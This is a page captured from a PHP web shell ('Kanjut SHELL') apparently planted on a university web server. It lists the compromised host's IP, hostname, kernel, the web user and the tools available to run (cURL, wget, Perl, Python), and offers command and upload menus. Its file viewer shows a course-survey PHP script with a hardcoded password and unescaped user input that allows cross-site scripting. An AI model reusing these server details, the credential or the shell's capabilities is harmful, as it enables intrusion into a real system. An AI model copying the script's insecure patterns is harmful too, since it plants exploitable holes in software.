Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.15.31.27
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/asbright/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/asbright/public_html/courseSurveyResults.php
<?php session_start(); ?>
<!-- courseSurveyResults.php -->
<?php
                $pass = $_SESSION['psw'];
                if($pass != "ch7hw")
				{
?>
				<script type="text/javascript">
                <!--
                        window.location = "courseSurveyLogin.php"
                -->
                </script>
                <html>
                <head>
                <title>Error Page</title>
                <center>
                <h1>Error Page</h1>
                </center>
                </head>
                 <?php
                         include("navbar.php");
                ?>

                <div style="text-align: center">
                <br/><br/><br/><br/>
                <button><a href="courseSurveyLogin.php">Go back</a></button>
                </div>
                </html>
<?php
				}
				else
				{
						$userName = $_SESSION['name'];
						$course = $_SESSION['course'];
						$gender = $_SESSION['gender'];
						$grade = $_SESSION['grade'];
						$question1 = $_POST['Q1'];
						$question2 = $_POST['Q2'];
						$question3 = $_POST['Q3'];
						$question4 = $_POST['Q4'];
						$comments = $_POST['comments'];
?>

<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="styling.css">
<title>
Course Survey
</title>
<h1>
Course Survey Results
</h1>
</head>
<?php
	include("navbar.php");
?>
<body>
<div style="text-align: center; list-style-position: inside;">
<?php
				print "$userName is a $gender taking $course as a $grade.<br/>$userName answered the following questions:";
				print "<ul>";
				if($question1 == "1A")
				{
?>
					<li style="margin-left: 166px">Strongly agrees that they had enough time to do their homework.</li>
<?php
				}
				else if($question1 == "1B")
				{
?>
					<li style="margin-left: 112px">Agrees that they had enough time to do their homework.</li>
<?php
				}
				else if($question1 == "1C")
				{
?>
					<li style="margin-left: 129px">Disagrees that they had enough time to do their homework.</li>
<?php
				}
				if($question2 == "2A")
				{
?>
					<li style="margin-left: 212px">Strongly agrees that the professor was able to teach the class effectively.</li>
<?php
				}
				else if($question2 == "2B")
				{
?>
					<li style="margin-left: 157px">Agrees that the professor was able to teach the class effectively.</li>
<?php
				}
				else if($question2 == "2C")
				{
?>
					<li style="margin-left: 175px">Disagrees that the professor was able to teach the class effectively.</li>
<?php
				}
				if($question3 == "3A")
				{
?>
					<li style="margin-left: 209px">Strongly agrees that they were able to understand all of the coursework.</li>
<?php
				}
				else if($question3 == "3B")
				{
?>
					<li style="margin-left: 155px">Agrees that they were able to understand all of the coursework.</li>
<?php
				}
				else if($question3 == "3C")
				{
?>
					<li style="margin-left: 164px">Disarees that they were able to understand all of the coursework.</li>
<?php
				}
				if($question4 == "4A")
				{
?>
					<li style="margin-left: 54px">Strongly agrees that the tests were not too hard.</li>
<?php
				}
				else if($question4 == "4B")
				{
?>
					<li>Agrees that the tests were not too hard.</li>
<?php
				}
				else if($question4 == "4C")
				{
?>
					<li style="margin-left: 17px">Disagrees that the tests were not too hard.</li>
<?php
				}
				print "</ul><br/>";
?>
				</div>
				<div style="margin-left: 45vw">
<?php
				print "Additional comments: $comments";
		}
?>
</div>
<div style="text-align:center; margin-top: 5vh">
<button>
<a href="courseSurveyForm.php">Back</a>
</button>
<button>
<a href ="courseSurveyLogin.php">Logout</a>
</button>
</div>
</body>
</html>

Stv3n404 - 2023